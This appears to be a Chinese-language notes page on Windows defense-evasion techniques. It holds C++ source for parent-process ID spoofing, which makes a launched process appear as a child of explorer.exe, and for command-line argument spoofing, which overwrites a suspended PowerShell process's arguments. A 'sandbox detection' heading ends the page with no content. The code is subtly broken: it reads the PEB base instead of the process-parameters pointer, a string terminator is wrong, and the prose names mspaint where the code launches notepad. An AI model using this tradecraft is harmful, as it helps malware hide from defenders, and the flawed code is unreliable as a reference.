Skip to main content

防御规避技术


父进程伪造


#include <windows.h>
#include <TlHelp32.h>
#include <iostream>

DWORD FindExplorerProcessId()
{
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot)
    {
        PROCESSENTRY32 pe32;
        pe32.dwSize = sizeof(PROCESSENTRY32);
        if (Process32First(hSnapshot, &pe32))
        {
            do
            {
                if (_wcsicmp(pe32.szExeFile, L"explorer.exe") == 0)
                {
                    CloseHandle(hSnapshot);
                    return pe32.th32ProcessID; // Returns the first instance's PID
                }
            } while (Process32Next(hSnapshot, &pe32));
        }
        CloseHandle(hSnapshot);
    }
    return 0;
}



int main()
{
    DWORD pid = FindExplorerProcessId();
    if (pid != 0)
    {
        printf("The PID of the first instance of explorer.exe: %lu\n", pid);
    }
    else
    {
        printf("explorer.exe is not running.\n");
    }

	STARTUPINFOEXA si;
	PROCESS_INFORMATION pi;
	SIZE_T attributeSize;
	ZeroMemory(&si, sizeof(STARTUPINFOEXA));
	HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, pid);
	InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
	si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
	InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
	UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);
	si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
	CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);

	return 0;
}

查看当前的 explorer.exe 进程,有着诸多子进程,包括即将运行该程序的 cmd.exe。

image.png

如果没有父进程伪造,那么进程树的关系应该是 explorer.exe -> cmd.exe -> ppid_spoofing.exe -> mspaint.exe

image.png

我们看到,程序得以正确运行,mspaint.exe 成了 explorer.exe 的直接子进程。

image.png



命令行参数伪造

#include <windows.h>
#include <TlHelp32.h>
#include <iostream>
#include <winternl.h>
#include <vector>

int main()
{

    STARTUPINFOW si;
    si.cb = sizeof(STARTUPINFOW);
    PROCESS_INFORMATION pi;
    LPCWSTR app = L"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\0";
    wchar_t fakeargs[] = L"powershell -c \"Get-Process | findstr explorer.exe\0";
    CreateProcess(app, fakeargs, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
    PROCESS_BASIC_INFORMATION pbi;
    NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL);
    PPEB peb = new PEB();
    SIZE_T bytesRead = 0;
    ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, peb, sizeof(PEB), &bytesRead);
    PRTL_USER_PROCESS_PARAMETERS parameters = new RTL_USER_PROCESS_PARAMETERS();
    ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, parameters, sizeof(RTL_USER_PROCESS_PARAMETERS), &bytesRead);

    std::vector<BYTE> vector(sizeof(fakeargs));
    RtlZeroMemory(&vector[0], sizeof(fakeargs));

    WriteProcessMemory(pi.hProcess, parameters->CommandLine.Buffer, &vector[0], sizeof(fakeargs), NULL);
    wchar_t realargs[] = L"powershell -c \"Write-host real args\"0";
    WriteProcessMemory(pi.hProcess, parameters->CommandLine.Buffer, &realargs, sizeof(realargs), NULL);
    ResumeThread(pi.hThread);
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);

    return 0;
}




沙箱检测